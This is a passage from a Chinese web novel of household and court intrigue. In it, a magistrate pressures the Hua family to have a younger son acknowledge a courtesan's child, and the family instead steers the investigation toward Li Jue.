说楚氏不干净,那是不是不能再让她执掌府中中馈了?诬陷、诋毁原配嫡女,楚氏身上的诰命是不是不能要了?这样做,对夏家和他会有多大的损害。 而要是说夏明月不干净,夏明月可是他最宠爱的女儿,关键是她身上捆绑着夏、楚两家的共同利益,又是要嫁进华家的。 要是坐实了夏明月小小年纪就诋毁嫡姐,这婚事还做不做?这侯夫人还当不当?还有教养出这样的女儿,他是不是治家不严,会不会被吏部和圣上责问,这尚书的位子还坐不坐了? 对夏家来说,对他夏庸来说,在那种情况下什么也不说、什么也不做,牺牲一个女儿的名声和姻缘来平息此事是最划得来的。 况且在夏庸看来夏明嫣嫁进端侯府也并非死局,比起夏家,那邓澜父女又算什么,他并不知道邓父身上有那样的秘密,在他看来,何夫人把邓澜这个儿媳妇娶进门不过是为了亲上加亲,再有就是要气夏家没有把夏明月嫁过去。 在他眼里,邓澜跟本熬不过夏明嫣,等到邓澜死了,夏明嫣完全可以被扶正,所以忍一时的谣言又怎么了?没怎么的,反正受罪、牺牲的不是他。 张礼岁坐在这样的位子上,注定他不是一个只讲求真相和道理的人,在他看来,许多事儿为了达到目的,是要牺牲一些眼前的利益的。 果然,张礼岁笑了笑,讳莫如深地道:“华侯夫人养在深闺,金尊玉贵,恐怕不知这世间许多事情的险恶。” 第288章岂有此理 张礼岁倒是很客气,尽管不认同夏明嫣说的,也并没有怠慢: “贵府二公子的冤屈算是洗清了,举发之人所说虽然,可对方的怀疑也不能说没有道理,毕竟二公子那日与吕大姑娘见过面并且租赁了一个院子,都是事实,只是这当中有些巧合和谬误罢了,定不了诬告。” “这件事先就有了含糊不清的地方,这声势一弱,就难免流言四起。不必等到将来,现在就有人说华侯以权势压人,平息了此事。这些个流言要是再传下去,万一传到了宫里头,就怕华侯和夫人会有些不方便。” 事情不是那么回事,可细节确实有巧合之处,这就好比你隔壁邻居家里发生了命案,在这之前你刚好看到邻居家的下人拎着一把新买的菜刀回去,不巧,这人长得满脸横肉,嘴里还骂骂咧咧的,边走边在说主人的坏话。 你看到这一切,把这人告到了府衙,说了你所看到的人,然后说了你的怀疑。可日后证明事实并非如此,这人只是长相不善,还跟主人关系很好,说是发小也不为过,因此说起话来就没了顾忌,他当时是在“骂”主人不好好吃饭、保养身子,白瞎了他做的饭食。 那么你算是诬告吗? 不算,因为你只是说出了你看到的,再根据你看到的进行了合理怀疑,并不是无中生有的,这只能说当中有误会。要是这误会太离谱了,也最多只会被申饬,却并不会被问罪。 同样的道理,外面的人看到的只是这举发之人未被问罪,他们便会觉得或是以此为借口故意觉得之前举发的内容还是有道理的,只是被华家用权势压了下去而已。 而很多原本就盯着华靖离和华家打算生事的人,也会抓住这些谣言不放,借机生事,甚至挑唆着宫里对华靖离不满,从而从别的地方来找华家的麻烦。 这就是为什么有些人家明明没有做错什么,为了不引发后续的这些麻烦,不想被人借题发挥,不仅要搭上银钱、人脉,甚至宁肯搭上自己的清白,也要尽快将这些流言蜚语平息。 因为时间拖得越长,这中间越容易出现不可预料的变化,就好比之前元京就发生过一件事。 这件事说起来很简单,就是一家的管家喝多了,把另一家的下人给打了,另一家本来就看这家人不顺眼,就想着趁着这件事把场子找回来。 于是这家人就放任那个被打的让人抬着到那家门前去闹,而且闹事儿的这家人已经算是有分寸的了,担心日后下不了台,只让他家的人到那后门去闹。 现在这各府后头的地方,好些住的都是自家分了出去的族亲和管事儿的家眷,要闹也是闹得这家人在亲戚里没脸罢了,这些事儿在普通百姓那里传扬得很有限。 可是没想到就是被有心人做了文章,说这两家闹得实在不像话,可见他们两家的矛盾已经很深了。尤其是下人都闹得这么难看,更别提上面的主子了,也不知道背后有多不堪,上边就应该彻查这两家人。 这事儿传到了宫里,或许当时圣上等得就是这么一个机会,以这两家为突破口,竟是将元京各大高门手底下的人都查了个遍。 查处的结果其实并不意外,除了个别存在严重违反律例的行为,多数也就是一些口角之争和小偷小摸的行为,可就这样,圣上和吏部、礼部也没放过这些人。 一个个治家不严、纵奴行凶的帽子扣下来,一个个的吃不了兜着走,好的被罚了俸禄了事,那不好的,别说官位了就是爵位都降等了。 这样以来,直接给元京腾出了一批位子,等到之后科举的结果出来了,直接安排了进去,还罚没了一批银钱和值钱的器物,充了府库了。 你说这些人当中真有那么大的问题么?至少那一回有大问题的是少数,多数最后就是一个治家不严的笼统罪名扣下去。就好比哪个下人到外面的馆子里吃碗面,记了账了,全都算起来也不过几十文钱,到最后都成了大罪过了。 张礼岁敢这么跟他们谈,也是吃准了他们不敢拖太久,想赶紧把这事儿压下去。 因为应对这种事儿,本来的这件事的事实真相如何并不是最重要的,重要的是不要把一件小事变成了一件大事,最后闹大了,闹到宫里去。 要是不让这种事儿发生,最好的办法就是一开始的时候就卡住,这样才能没有后面的事儿…… 夏明嫣点了点头,并没有直接反驳张礼岁说的话,她只是继续问道:“那么依张大人之见,这件事该如何解决?” 张礼岁到底脸皮还不够厚,面对华靖离这种实打实的悍将,还想让对方妥协、息事宁人,多少还有些难为情。 他再开口时就多了几分小心:“这儿没有外人,我就直说了。这话我问过华二公子,吕大姑娘有孕的那段日子,他的确去过人家组的局。当时他还喝醉了,醒来之后人事不醒,也不知道发生了什么。” “那孩子,要不然就让二公子认下?夫人先别急,我这么做也是没有法子,这孩子身世可怜,本该是良籍,可因为不知生父是何许人也,这件事一直都没办。” “如今这事儿,吕家所求,不过是给这孩子一个良籍,别的并无所求。况且这孩子现在不知所踪,也不知道能不能寻的回来,就是认了华二公子也没什么损失。” 夏明嫣都要气笑了:“吕大姑娘小时候是被拐了去的,后来吕家找到了那人伢子,那人也认了,自然也就为吕大姑娘恢复了出身。既然如此,张大人也说了那孩子本就该是良籍,怎么还得让舍弟先认了他,才为他更换户籍?” “华家虽不王府、相府那样的显贵门第,可也不是什么人都能进的。张大人也说了,舍弟不记得当时发生了什么,那就应该去寻访当日知情的人才是,怎能让人冒认他人为子,还是这当中有什么讲究?” 第299章另有真相 “夫人有所不知,如今元京流言四起。一会儿说着孩子是贵府二公子的,一会儿又有人说这孩子是端侯府李世子的,到了今早甚至有人在传,这孩子是华侯的,华二公子只是为长兄顶包的。” “这些话要是再传下去,要是宫里过问了,觉得现在这些人家乱得很,到处都是私德有亏的人和事,借此彻查一番,可就要乱了。” “夫人嫁入华家时日尚浅,华侯从前又不常在元京,敢问二位就真的可以肯定家里禁得住查吗?再或者夫人或许会说,这要是查下去,又不是只查华家一家,大家都有份。” “可您想想,近来发生了这么些事儿,华侯刚刚伤愈,上上下下都在看华侯和华家军的动向,北疆那边又到了论功行赏的时候。这要查,他们会想着重查哪一家?或是他们会先查哪家?” 张礼岁做出作揖状,看起来多少有些好笑,可看着他头上的那层汗,又多少让人有些同情他,他也不过是一个被时势架在火上烤的人罢了, “华二公子若是认下此事,对他自己也是有好处的。现在虽说吕大姑娘的死与他无关了,可外面的人现在还是说那是他的孩子的多。现在这孩子又不见了,难免有人会说他为了掩盖外面有贱籍之子的丑事,而故意将那孩子藏匿起来,甚至已然杀害。” “但若是他和华家愿意接纳这孩子,给这孩子一个出身,有了这般善意在前,这种谣言也就不攻自破了。” 不等华靖离和夏明嫣开口,张礼岁话音刚落,华靖和就先焦急地开了口: “张大人,你这话好没有道理,我只是记不清,但并非毫无印象。何况我只是华家一个不成器的庶子,自来华家就有留我这般不成器的子嗣留守家业、早日成婚生子的家规。” “我这些年都在元京,家里并不排斥我成婚前就有庶子,这家规华家历代都有人遵循。吕家人只要稍微打听一下就能知道这件事,我又不是躲着不见人的。” “若是吕大姑娘觉得这孩子是我的,她为何不来找我?这么些年了,吕家甚至连句话都没递进来过,说他就一定是我的孩子,实在太过牵强。” “就算按张大人说,需要息事宁人,那也不能就让我们家吃亏,背上这样的骂名!而且就算我认了,又能如何?谣言已经传开了,人们只会说我是在公堂之上,不得不认的。” “我华靖和,虽然是个无用之人,可是也绝不会因此让家族蒙羞。大恒自有律法在,我记得有一条是遇到这种无法证实之事,当事人可自愿受两百杖,以自证清白!张大人,华靖和自请受杖!” 两百杖,这都要把人打死了,死不了也得贪了。 这么看,华靖和还真是个有风骨的好孩子,平日里看着温温润润的,到了关键时候铁骨铮铮啊。可是,好孩子,这还真不到你找死的时候。 夏明嫣倒还好,听了这话只别过头去无声地笑了笑,华靖离反倒皱着眉头拍了拍他的肩: “傻小子,任何时候,不是到了绝境,都不能主动求死。况且你连死的勇气都有了,为何就没有查明真相的勇气?当初设宴宴客的也不止你一人,你怎么就笃定了对方不会为你作证?” 夏明嫣也道:“你是喝醉了不省人事了,可总有没喝醉的,你就知道他们什么都没看到?” 她看向张礼岁,微微摇头,“张大人是男子,不懂得女儿家的心事也是常有的。您只知道吕大姑娘那时是楼子里的歌舞姬,身边有多名男子,可您却不知道,她生下儿子多年不肯去找那孩子的亲生父亲,是含着情意的。” “情意?” 张礼岁愣了一下,关于这孩子的生父是谁,他问过吕二姑娘吕冠瑛,对方只说吕大姑娘生前并未透露过,吕家也并未寻访到,之后他便没有再问了。 这也不能怪他,贱籍涵盖三教九流,这里面很多事儿都说不清楚,尤其是这些楼子里的姑娘们,每年都会有那么几个父不详的孩子,他都已经见怪不怪了, “难不成华侯夫人找到了什么线索,能证明这孩子的生父是谁?那吕大姑娘的死……” 要是那孩子当真在其生父手里,那吕大姑娘的死就很可能不是悬案了,真凶就可能另有其人。 这其实也不奇怪,有些家族早年的时候想着自家郎君还年轻,将来少不得还会有许多正经出身的孩子,便不在乎这外面的。 可是后来眼见着自家生不下孩子了,或是自家的孩子出了什么问题了,就想把这孩子认回去。 若是这孩子的生母只是个寻常外室,只是出身不济,但品行和经历上并没有大的问题,这孩子认回去之后,也是可能把生母也接进府去的,就算没有接进去,也可以留在外头好好的养着。 可要是这孩子的生母不仅出身不好,中间还像吕大姑娘这样沦落过,这样的生母只要存在一日,对孩子来说就污点,很多人家都是不会留的。 这样的人多半就是逼死了了事,或是远远地发卖了出去,再是不让她有机会回来跟孩子扯上关系的。 张礼岁一下子就明白了,华家要的可不止让世人知道华靖和没干那件事,他们还要让大家都知道究竟是谁干了那件事,甚至还意图栽赃给华家。 夏明嫣微微一笑,其实这件事多少有点冤枉了夏明月了,夏明月作践华靖和给李玦抬轿子的时候,是真的不知道那孩子是李玦的,所以也谈不上把自家的烂事儿栽赃给华靖和。 只是这事情就是巧了,偏偏这孩子是李玦的,等到真相大白,她这么做就不止是为了擢选才陷害华景和了,她这是成了不想认自己丈夫外头的孩子,还不惜把这孩子栽赃给自己长姐夫家的弟弟了。 夏明嫣对张礼岁道:“大人有所不知,我这两日去拜访过吕二姑娘,让她仔细回忆了一下从前她阿姐照管孩子、想念他亲生父亲时的细节。” 第290章只能是亲近之人 “夫人的意思是说,吕大姑娘知道孩子的生父是谁?那为何吕二姑娘未曾提起此事?再或是,这只是她的一面之词,并没有实证?”张礼岁迟疑地问道。 夏明嫣微微笑了一下,这里面自然有后来查证的东西在,但吕大姑娘的确知道孩子的生父是谁,她只略过中间的一些过程,娓娓道来: “没错,她的确知道,只是为了维护这男子的名誉和前途,没有把这件事告诉任何人。不过并非没有留下一丝蛛丝马迹,吕二姑娘回忆说,其姐每每听闻元京城中诗会的消息,都会黯然神伤,当中有几次尤其伤怀。” “她还时常吟诵一些诗句,其中有些还绣在绣帕之上,只是吕家人不通文墨,同人打听,对方也只说都是些元京城中的才子所做,并没什么特别的。” “我拿到这些绣帕之后,着人打听了元京城中近五年内流传过的诗作,发现不管吕大姑娘曾吟诵过谁的诗句,这绣帕上绣的全都是一人诗句。” “而据吕大姑娘的贴身服侍的张妈回忆,有一回吕大姑娘绣了两句诗在一个绣屏上,可就在就快绣好的时候出去了一趟,回来便说‘不是那人的’,随后就将那绣屏剪烂。张妈觉得可惜了,便将那坏了的绣屏留了下来,改成了一个坐垫留在了自己家中。” 查证之后自然发现那绣屏上绣的另外一个人的诗句,那这可就证明她绣的其他诗句是有特殊意义的。 吕大姑娘喜好诗文,就像当下许多女子一样,可是能让她绣下的,却只有她心上人也就是孩子亲生父亲的诗句。 吕家只是寻常的小商贾,这两年生意才刚刚做大了些,无论是已经过世的吕老爷和夫人还是吕冠瑛,都只会识字、算账,却并不通诗文,也没工夫去通晓这些。 而吕大姑娘在那种地方长大,别的好处倒是没有,可这文墨上却是全家最为通晓的。 家里人不是没有怀疑过她关注的这些诗文跟孩子的亲生父亲有关,只是都不如她懂得多,她又要经营自家铺子里的绣品,只说这么做实在研究新花样,家里人便被她糊弄了过去,一直没有怀疑。 当然这还不够,夏明嫣又拿出了一件证据:“这里还有一个绣屏的绣面,吕大姑娘一直藏着,连家里人都没有发现。还是这次我去她家时,说好了一起寻找线索才发现的。” “这绣帕上的图案别人或许不认得,但张大人应该觉得眼熟,即便想不起来,在府衙的记录里查查便清楚了。” 华靖离听夏明嫣说完,有些诧异地看了那绣面儿一眼,心里正诧异着,这东西李玦还能给外头的女子看了去? 那上面绣的不是别的,而是当年李家军的图腾,这东西早在二十年前李家军死的死、散的散之后便鲜少在世间出现了。 有这东西的衣物、饰物,李玦不可能带在身上,更不可能被吕大姑娘瞧了去,就算瞧了去,也不会离身留给她对照着绣出来,这东西只可能是夏明嫣自己绣的。 这回李玦还真是百口莫辩了,因为这辈子他跟夏明嫣根本没有交集,正常来说夏明嫣根本不可能看过这图腾,还把细节都了解得这般清楚,而他华靖离也只是小的时候看过,图腾上的许多细节都记不得了,只是大概知道有这么一回事罢了。 华靖离连忙给这“证据”上添了把火:“各家和各府军的图腾府衙都有记录,张大人可以派人找了来对一对。其实我们也拿不准,这东西拿回来的时候内子都不知这是何物。” “还是我瞧着像家里一位世交长辈之物,不过这东西我也是小时候看过,都是十几年前的事了,也未必就做得准,只是瞧着极像,这才没有知会那位。就想等着张大人确认之后,咱们再将他叫来。” 夏明嫣刚说图腾、信物的时候,张礼岁还以为这事儿要跟他家里或是亲戚里扯上关系呢,着实吓了一跳,好在华靖离这么一说,那就是别家的事了。 张礼岁让人把东西接了过去,这是一幅桌屏的绣面儿,还没有装裱,因此是折起来放着的,这一打开,他的确看着熟悉。 只是张礼岁年纪也不大,如今正是三十几岁,十几二十年前,他也还不大,家里又都是文官和读书人,对着东西并不熟悉,只能叫了人去府衙的书房里取了图册来比对。 按理说元京豪族众多,对比起来也需要些时日,可是师爷和衙役比对了一会儿,他就反应过来不对了。 刚刚进来的衙役告诉他,华家今日还带了其他证人来,除了之前已经退下的吕大姑娘外,还有几个下人和年轻公子。 不说别的证据,那些年轻公子多半就是来个这事儿作证的,要想找出这个人,只需要直接让这些人上来说几句,然后把人传来问话就好了,干吗还要弄这么个证据,还在这儿查了老半天? 而且刚才华靖离已经说了,这图腾像是华家某位故交长辈家的,华叶峰这一支才来元京不到二十年,能有几个故交,掰着指头都能数出来,也就是说华靖离也知道这人是谁。 他们夫妻之所以不直接把这人说出来,是因为这个人不好办,更不好传,他们得他这个元京府尹自己根据图腾把人查出来,这样这人就是他揪出来的。 而他们夫妻呢,不能说揪出这个人跟他们没关系,但至少这事儿有一半的责任在元京府。 张礼岁这时再去看华靖离和夏明嫣,直觉得下面坐着一对狐狸泥偶,这二人脸上都带着一丝狡黠,真就跟狐狸似的。尤其是他们一边低声说着什么,像是还在教那老实巴交的华靖和该怎么做,想把这老实孩子也变得狐里狐气的。 张礼岁心里大叫不好,能让华靖离都不愿说出的人能是谁?若只是华家某个长辈的子侄,断然不会为难至此。 唯一的可能就是,这子侄不仅在上一辈家里跟华家有交集,他自己本人还跟华靖离有交集,甚至关系很好。 第291章两边都不简单 而且听了这么多话,包括吕冠瑛之前说的,这人还肯定是个文人……难不成这人真就华靖离的义弟李玦? 张礼岁再不理其他,自己去翻那册子,按照姓氏和府邸很快就找到了端侯府的,还真就是李玦! 这还真不好办了,张礼岁虽然没有发抖,但嘴角已经迅速地耷拉了下去。 要是以前的端侯府倒是好办,上面虽说没有收回他们的爵位和爵产,可就那么一个世子在那儿站着,可能一辈子也袭不了爵,实在不足为惧。 可是现在不一样了,李玦娶了夏尚书最宠爱的女儿夏明月,而夏明月的生母楚氏偏偏是楚霆孝的独女,楚霆孝对这个外孙女从小便是出了名的有求必应。 现在夏、楚两家一左一右地张罗着帮李玦袭爵,宫里那边听说已经有响应了,想着这次李玦只要在御青书院的擢选中有可圈可点的地方,圣上就会借机松口了。 毕竟华家势大,得有人能牵制华靖离,虽说李玦和端侯府在这方面怎么都不够看,可要是有楚、夏两家在后面托着,不说能在北疆牵制住华靖离,在朝堂上至少是有可能的。 张礼岁多看了一眼正在教导庶弟的华靖离,后者并没有回视他,难道华靖离是想到了朝廷可能利用李玦牵制他,才故意来这儿举发李玦的? 这孩子的事儿说到底也不过是风月之事的产物,就算华家不愿意吃这个哑巴亏,也可以私下找端侯府和李玦那边商量定了,私下解决,然后再来元京府告知他一声就好,偏偏要闹到公堂上来。 而且这事儿也是怪了,外面都说华靖离这人自小性子孤僻,只跟李玦这么一个兄弟走得近,怎么如今就不好了?是华靖离其实骨子里是个虚情假意的伪善之人,还是说他们二人之间的关系,原就没有传闻中的那般好。 还有夏明嫣,李玦的妻子夏明月可是她的嫡妹,虽说二人不是一母所出,也没养在一处,可二人毕竟同出一家,父亲和祖母都还见在,也没听她们二人有什么大的不和,怎么就要闹成这样了? 张礼岁拿着府衙里的记档,苦笑着看着这二人:“华侯,华侯夫人,您二位这么做可不厚道啊。” 这时夏明嫣刚好在提点着华靖和这当中的事儿,听到张礼岁的话,索性把后头的话说得大声了点: “二弟,你可得记住了,有什么难为情的、不好说的事儿,不要一味地想着私下解决。那样解决很多时候只是顾全了眼前的情面,长远来看,剪不断,理还乱,拖泥带水,还不知道要惹出多少事儿。” “而且你私下解决了,这世上就没有能包得住火的纸,就算有,那也只是暂时包得住,早晚有一天那火苗子得冒出来。到时候别人看到了只会说你徇私,对方要是再装装可怜,你又刚好不在,不方便解释,你可就真说不清楚了。” “有些事要想说清楚,还得在一个公正的地方,再寻一位公正的中人,如此才能说清楚了。你看这是哪儿?这是元京府衙,再看上面的人是谁,那是张礼岁,张大人!” 在元京,除了御前、刑部、大理寺,最公正的地方就是元京府了,而这件事还不足以闹到前头那三个地方去,最适合解决的地方就是元京府。 而张礼岁,解决问题的方法虽说圆滑,可处置事情的结果往往是公正的。 就好像这次背后有楚家和夏明月施压,他让衙役把华靖和带回来了,可是好吃好喝的对待着,也不曾用刑拷问,最后也判定吕大姑娘之死与他无关,这人总体上来说就是个公正的人。 于是,在这公正的地方,上面还坐着一个公正的判官,有些事儿就该了断了。 张礼岁已然明白了,怕是华靖离跟李玦、夏明嫣和夏家早有嫌隙,但是因为这当中牵扯着旧情甚至是宗族之事,这两个人要是自己解决了,都会落下不好的名声,这是想借着他这地方来解决问题的。 张礼岁苦着脸,为难地对华靖离道:“华侯既有此意,应该提前打个招呼才是,这也太突然了。要知道那位李世子在元京名声甚盛,这事儿要是传出去,只怕不用等到明早,整个元京都得传遍了。” “万一……下官说是万一这事儿传到宫里去,影响了李世子袭爵之事,端侯府那边要是闹起来,华家和夏家那边恐怕都不好办。” 钩翊侯府是元京这些以军功起家的侯府的表率,要是端侯府那边去闹,只怕会不好看。 而且还是那个道理,嘴长在别人身上,元京里还是同情李玦的人多,因为这人没做过什么恶事,又文采飞扬的,关键是那长相就是再世潘安。 别说元京城里这些没出嫁的姑娘家了,就是那些夫人、妇人、小媳妇们,哪个不是看他一眼就忍不住脸上飞红的。 当然,说华靖离好的人也很多,可那些多数是男子,还是些有差事、有作为的男子,这样的人平时话不多,更加不会大街小巷的跟人传话、拌嘴去。 这事儿一旦闹起来,先别说谁有理,比的就是谁声音大,那肯定是端侯府那边声音大。 张礼岁可不觉得李玦和何夫人是什么好相与的,李玦一个大男人,长相再俊秀也是侯门公子,断断没有到处宣扬自己容貌、招蜂引蝶的道理。 李玦和何夫人这么做,在张礼岁看来,固然有李玦本身容貌仪态和才学的原因,也有何夫人寡母守业、一个人带大儿子就是觉得自己儿子好的因素在,可更多的却是为了别的。 试想一下,李玦这些年被宫里压着不让他去军中历练,也不让他袭爵,更是没给他派差事,他要是不折腾点动静出来,端侯府这些年恐怕早就查无此人、查无此府了,早就不知道缩到哪个犄角旮旯落灰长草去了。 正因为有李玦这盛传出去的美男子盛名才让人们记住了李玦这个人,记住了还有端侯府这么一个将来还有可能起复的人家。 第292章奋起的华靖和 试想一下,李玦这个人有什么?功名不过举人,要是从军怕是武艺和统兵之才以及经验都是不行的,他能凭什么让人记住他?只有他这张再世潘安的脸啊。 张礼岁一张脸都苦了下来,苦笑着叹着气道:“华侯和夫人可想过如何应对?你们该不会觉得李世子一介文弱书生,拉不下脸去你们府上闹吧。” “那你们可就看错了人了,这……不是说二位不会看人,只是我虚长了二位十几岁,在看人方面比二位多了几分经验,这件事二位还是听我一言吧。” 张礼岁不仅比华靖离和夏明月年纪大,他坐着元京府尹这个位置,可谓是见多识广。而且他见的人种类的确更多。 像是华靖离见得最多的是军中和朝中之人,夏明嫣见得最多的是夏家的宗族之人和内宅妇人,唯独张礼岁见的这些人涉及男女老少、各种出身、各个年级的都有。 关键是,他觉得这两个人即便见过了不少人,他们身上都有一股正气,这样的人往往对小人缺乏认知,尤其是那种表面风光霁月实则道貌岸然的小人缺乏堤防和抵抗的能力。 就怎么说呢,这就好比一个魁梧、刚正的大汉,遇到一个长相可怜、文弱而背地里为非作歹的小人,气不过,一棍子将对方打死了。 最后府衙也认定这大汉无罪或是只有小错,可是世人一定会有人说定是这大汉持枪凌弱,那个小人才是被欺压的好人。 张礼岁这会儿已经想得很明白了,这两口子选在他这儿撕破脸,定是之前已经跟李玦和端侯府之间发生过不好的事儿了,只是他们这么做,最后的结果真的会是他们想要的吗? 华靖离和夏明嫣一齐抬头看向张礼岁,两个人都是一副愿闻其详的样子,这回他们身边还多了一张脸,就是华靖和。 华靖和从来没有经历过这几日发生的这些事儿,他还是生平头一次在府衙大牢里走过一遭,说实话,他原本以为他这辈子可能会待的最可怕的地方就是家里的祠堂了。 这过堂的经历更是有生以来头一遭,好在人命的事情已经解释清楚了,可他没想到的是,这件事还没有结束,居然还想让他背下这无媒苟合生子的骂名。 他不是傻子,当然知道为何过堂之后张礼岁为何还会把他们留下来说这些话,这已经不是过堂讯问了,这是在商量,确切的说是在谈判。 元京府衙管的不止是断案,元京的世情、风评也在他们的管辖范围内,最近这件事闹得沸沸扬扬的,再闹下去,不管究竟是谁的过错,元京府的名声都会不好听,之后被朝廷问责起来都会落下治下不严的罪名。 而假设非得把那孩子的父亲揪出来,就像夏明嫣说的,其实找到了证人,并不难。 而且就像华靖离跟他分析的,那孩子被丢在外面任由吕家养了这么多年,还到处使银子、托关系给他改换良籍,吕家附近的人都知道有这么一个可怜的孩子,而那真正的生父一家却不闻不问,半点不加阻拦。 不是那家人不怕事情闹大了名声不好听,而是这几年,那家人八成也不知道这件事和这孩子的存在,毕竟男子在外面干了那种事儿,谁能想到都有了孩子了,那女子却不曾来寻过他们? 所以那家人对吕家人和诸位证人都是没有处置的,根本就没有封口,只要把这些人带了来,好生问询,再将众人的口供加以对照,根本就不难查出真相。 可是张礼岁没有去查,甚至连去寻访这些证人的打算都没有,这些证人还都是自己的兄嫂找来的,这就说明一个问题。 张礼岁和元京府都不想让事情继续扩大了,甚至为了不让更多的人知道这件事,他们甚至没有对那些证人封口,连一句叮嘱都没有,他们要的就是这件事到此为止。 因为要是查证这孩子的生父,即便是查到小户人家头上,这查访的过程也会惊动更多的人,要是查到高门显贵头上,那就更不必说了,只会引起更大的波澜。 所以在张礼岁甚至很多人眼中,这件事最好的解决办法就是让他这个已经被卷进来的华家庶子背下来。 他没有功名,将来也不打算入仕,即便将来华靖离有个万一,他也未必就能袭爵,就算袭了爵了,他也就是个空头侯爷,这种事对他来说不过是一张韵事和元京的一段笑谈。 华靖和这人平日里没什么主见,要是别的时候让他当个笑话,他可能回去喝顿闷酒,也就认下了。反正他是个没用的人,要好名声也没用,只要不是干了太坏的事,家里也不介意。 更何况他要是认下了,不说元京府将来可能给他一些方便作为补偿,就是府里,尤其是他的兄嫂也定是要补偿他的。 可是这一回不一样了,先是他被带走的那日,华靖离当着众人的面护住了他,还让府中的书吏和元京府的衙役互质了口供,保证他能够被公正的对待。 再是华靖离告诉众人,他华靖和是钩翊侯华靖离的弟弟,他们都姓华,只要他没有做过,他就不能被冤枉了去。 还有刚才,他的嫂嫂也告诉他,这件事不是他一个人的事,他是华家的人,他的清白一样关乎华家的荣誉。不说他这辈子一定能为华家争光添彩,至少不会让他被人冤枉了去。 华靖和想到支持自己的兄嫂,尤其是这兄嫂原本在他看来是不会待见他的,他心里有一股从来没有过的勇气正在喷涌着涌现出来。 他大着胆子道:“要是李世子当真是正人君子,与兄长真诚相待,他便不会去闹。他若不是,那便是枉费了兄长这么多年待他的情义,他去闹那也是让世人看笑话。” “长嫂的娘家……定是能体谅她的苦衷的,况且这件事跟长嫂的妹妹也就是李世子夫人并没有关系,那都是她过门儿之前的事了,又怎会因为被牵连就怪到长嫂头上,这没有道理。” 第293章逼书生为泼皮 华靖和此刻义愤填膺,他从来没有在人前说过这么大一通话,这会儿是真的被心里的愤怒和不平冲得激动起来了。 他现在有这样的胆子,还有一个重要原因就是他得到了兄嫂的支持,以前在府里,虽说董氏并没有针对过他,可他也清楚自己的生母在董氏面前不讨喜,就是华叶峰要不是因为她是先太后身边的旧人,也不会多搭理她。 而他这个所谓的留做守业的庶子,也不过是因为自小就被认定了是个文不成武不就的无用之人,也就剩下这副好皮囊能为华家多繁衍几个孩子,让他们的样貌生得好看些罢了。 这样的安排和被这样的期待着,让他从很小的时候就有了一种羞耻感,他觉得自己跟御兽院里的公马甚至农人家里猪、牛、羊没什么区别。 他从小就知道自己对这个家的作用,他觉得自己不过一个繁衍子嗣用的罐子,可他的生母卜小娘,偏偏觉得这是华家一件顶了不得的大事,这件事的重要性甚至超过了华靖离立的那些功和对大恒的作用。 甚至身边的一些人也会半真半假地开他的玩笑,说华靖离辛苦一辈子,弄得一身伤,甚至连性命都可能会丢掉,到头来华家的家业还不是至少有一半是他的?这么说来,华靖离这辈子竟成了在为他忙乎了。 他痛恨这些话,他也不想坐享其成,不想占了华靖离和未来嫂嫂、侄儿、侄女的便宜,可是他是真的没本事啊。论征战沙场,他替不了兄长,科考做官,他即便有有了功名,他也不是这块儿料。 他只能在心里暗暗发誓,只要长兄和长嫂有了自己的孩子,他就做出点什么石破天惊的大事来,让家里把他赶出去,然后他就不用分华家的家业了,这就没人能说他占兄嫂的便宜了! 尤其现在正是他们一致对外的时候,华靖和心里的勇气更盛,理直气壮地对张礼岁道: “若是他们执意为了这样的事来闹,帮着别人往兄嫂身上泼脏水,这样的亲戚不要也罢,以后自是老死不相往来的好。” “况且若是谁来闹谁就有理了,那我们……我也能闹,我……被气到了,这孩子不是我的,你们按头逼我认,我不想受此羞辱,我这就撞死在这儿!” 华靖和虽然文弱,可他时常混迹酒肆、市井,若论三教九流,他还真见识过不少,什么撒泼打滚儿的人物他没见过? 只是往日他跟他那些狐朋狗友都把这些当作笑话看,谁也不会自己去用这招,以致于他现在模仿起来虽然似模似样的却难免有些生硬。 没跟华靖离和夏明嫣商量,华靖和直接就往对面的柱子冲去。 张礼岁为了跟华靖离、夏明嫣说话,把衙役都赶到外面去了,此时这公堂上只有他们四人和两个帮着查找图腾的文书师爷,这二人离得更远,大家根本无力阻拦。 好在华靖和不知道是故意的还是真的脚下打滑了,跑出两步就摔倒在了地上,他也不起来,直接就往地上一躺,闹腾着说自己受伤了,问张力岁要个交代。 这一举动看得在场的人都呆住了,华靖离和夏明嫣彼此惊讶地对视了一眼,下一刻二人眼中又都有了些许了悟。 看看,把孩子都逼成什么样了,多好多文弱的一个好孩子,为了自证清白不惜自毁气节和形象,都能在公堂之上撒泼打滚了! 这也让他们想到了李玦,华靖和只是有人要把一个小孩子冤在他头上,李玦可是顶着家族复兴的重任啊,他还比华靖和心思深沉,他得逼成什么样? 可见这文人不管长得多好看,平日里表现得多有风骨,真被逼急了的时候,谁顾得了这么许多。 华靖和此刻是为了捍卫自己的清白和家族的名誉在地上撒泼打滚,而李玦是为了家族的荣光,不惜让自己以色相扬名。 李玦知道凭自己的才华和本事得不到文武大臣和天下豪杰的认同,那就拉下脸来,放下身段,哪怕是让大恒的大姑娘、小媳妇认同他,为他叫好呢?总好过寂寂无名吧。 想到这一点,认同了华靖和也是一个为了达到目的,可以牺牲很大的人,华靖离和夏明嫣又彼此对视了一样,这回他们在彼此脸上都看到了苦笑。 他们可得把华靖和护好了,不能让他变成李玦那样,真不至于,真没到那一步! 华靖离先叹了口气:“张大人,你看看,你这是逼文人为泼皮,这件事我们断断不能逼他认下。你看看靖和,多好的一个儿郎,平日多软和的一个人,为了捍卫自己的清白,都能舍下自己的仪态、教养。” “我身为兄长,又怎能不护着他?华家不在乎多一个庶子,可是华家的血脉也不能混淆。您不能瞧着我们华家是个老实的,做不出来闹你们的事,就要把这种事栽在我们头上吧?” “要是张大人执意如此,那我便也不给宫里上折子了。我这就让人把舍弟抬上,抬到宫门口去,下朝的各位达人都来评评理!” 何夫人和李玦最多敢到元京府、夏府和钩翊侯府去闹,华靖离可是敢到宫门口去闹的。 而且他这么闹,圣上也好,东宫也罢,还都的哄着他,毕竟哪个上位者也不能拒绝一个功高震主的侯爵的自污行为,让朝野上下都看看他也是个凡夫俗子,也有犯浑的时候,反而能模糊一下他的威慑感,能更让上位者放心。 夏明嫣也不去扶华靖和,由着他躺在那儿捂着心口哼哼:“张大人可是忘了?舍弟的生母卜小娘是先太后身边的旧宫人,虽说先太后已经先去多年,可这人生在世,不能一点恩情都不念吧?” “您若欺负我们华家是个抹不开面子的,非要让舍弟背下这污名,那是不是也是在指责卜小娘教子无方,那不就是先太后对卜小娘疏于管教,还把这样的人赐给了我公公么?” 第294章她也可以做泼妇 